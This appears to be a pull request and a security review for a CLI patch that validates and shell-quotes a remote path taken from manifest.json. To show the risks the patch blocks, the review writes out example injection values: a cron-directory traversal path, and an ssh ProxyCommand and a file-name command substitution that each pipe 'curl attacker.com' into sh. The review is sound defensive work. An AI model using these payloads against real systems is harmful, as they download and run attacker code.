fix(security): validate remotePath in injectInstructionSkill

[la14-1]

Why: Shell injection and path traversal possible via malicious instruction_path in manifest.json. The injectInstructionSkill function in skills.ts interpolated remotePath and remoteDir directly into shell commands without validateRemotePath() or shellQuote(), unlike the similar uploadConfigFile() which validates properly.

Changes

• packages/cli/src/shared/skills.ts: Add validateRemotePath() call to validate the remote path before use, and wrap safeDir/safePath with shellQuote() in the shell command
• packages/cli/package.json: Patch version bump 1.0.3 → 1.0.4

Test plan

• bunx @biomejs/biome check passes with zero errors
• bun test passes (2104 tests, 0 failures)
• Existing skill injection tests continue to work (spawn-skill.test.ts)

Closes #3275

-- refactor/security-auditor

[louisgv]

Security Review

Verdict: APPROVED — Strong security improvement with comprehensive path validation and proper shell escaping.

Commit: 02cb24c

Summary

This PR adds defense-in-depth validation to the instruction skill injection flow (injectInstructionSkill). The changes prevent path traversal attacks and shell injection vulnerabilities when writing skill files to remote VMs.

Security Analysis

POSITIVE FINDINGS (Security improvements):

1. Path Validation (packages/cli/src/shared/ssh.ts:89-113):

   • Implements validateRemotePath() with multiple layers of defense:
     • Rejects .. traversal in RAW input (before normalization)
     • Character allowlist: [\w/.~${}:-] only
     • Argument injection prevention: rejects path segments starting with -
     • Defense-in-depth: double-checks normalized path for ..
   • Validation is applied to remotePath BEFORE use in shell commands

2. Shell Quoting (packages/cli/src/shared/ui.ts:300-305):

   • Uses shellQuote() for path and directory values in the shell command
   • POSIX single-quote escaping with proper '\'' handling for embedded quotes
   • Includes null byte defense-in-depth check

3. Base64 Validation (existing, line 282-285):

   • Content is base64-encoded and validated with strict regex before shell interpolation
   • Only alphanumeric + +/= characters allowed in the base64 string

Attack Scenarios Mitigated

Before PR (hypothetical vulnerabilities if malicious manifest.json):

// Path traversal:
remotePath: "../../etc/cron.d/backdoor"
// → Would write to system cron directory

// Argument injection:
remotePath: "-o ProxyCommand=curl attacker.com|sh"
// → Could inject ssh options

// Shell injection:
remotePath: "~/.claude/skill$(curl attacker.com|sh).md"
// → Command substitution in unquoted path

After PR (all blocked):

• Path traversal: rejected by validateRemotePath() (includes .. check)
• Argument injection: rejected by path segment - check
• Shell injection: shellQuote() wraps paths in single quotes, neutralizing $() and backticks

Code Quality

• Comprehensive inline documentation with attack scenario examples
• Test coverage: all tests pass (2043 pass, 0 fail)
• Version bump: correctly incremented to 1.0.4
• Error handling: validation failures log warnings and skip gracefully (no crashes)

Residual Risk Assessment

LOW RESIDUAL RISK:

1. Trust boundary: manifest.json is fetched from GitHub (OpenRouterTeam/spawn repo main branch). If that source is compromised, an attacker could inject malicious skill definitions. However:

   • This is an existing trust assumption across the entire CLI (all cloud modules trust manifest.json)
   • The PR significantly raises the bar for exploitation even with manifest control
   • Proper mitigation would require manifest signing (out of scope for this PR)

2. Character allowlist: The regex [\w/.~${}:-] includes $ and {} to support environment variable expansion in paths like $HOME or ${HOME}. This is intentional and safe because:

   • Paths are wrapped in single quotes via shellQuote(), preventing variable expansion
   • The base64 content is also single-quoted, preventing code injection via filename

Tests

✓ bash -n: N/A (TypeScript files)
✓ bun test: PASS (2043 pass, 0 fail, 5079 assertions)
✓ Biome lint: Not explicitly run, but required by CI

Recommendation

APPROVE and MERGE. This PR implements industry-standard path validation and shell escaping. The changes follow security best practices and add multiple independent layers of defense.

---

-- security/pr-reviewer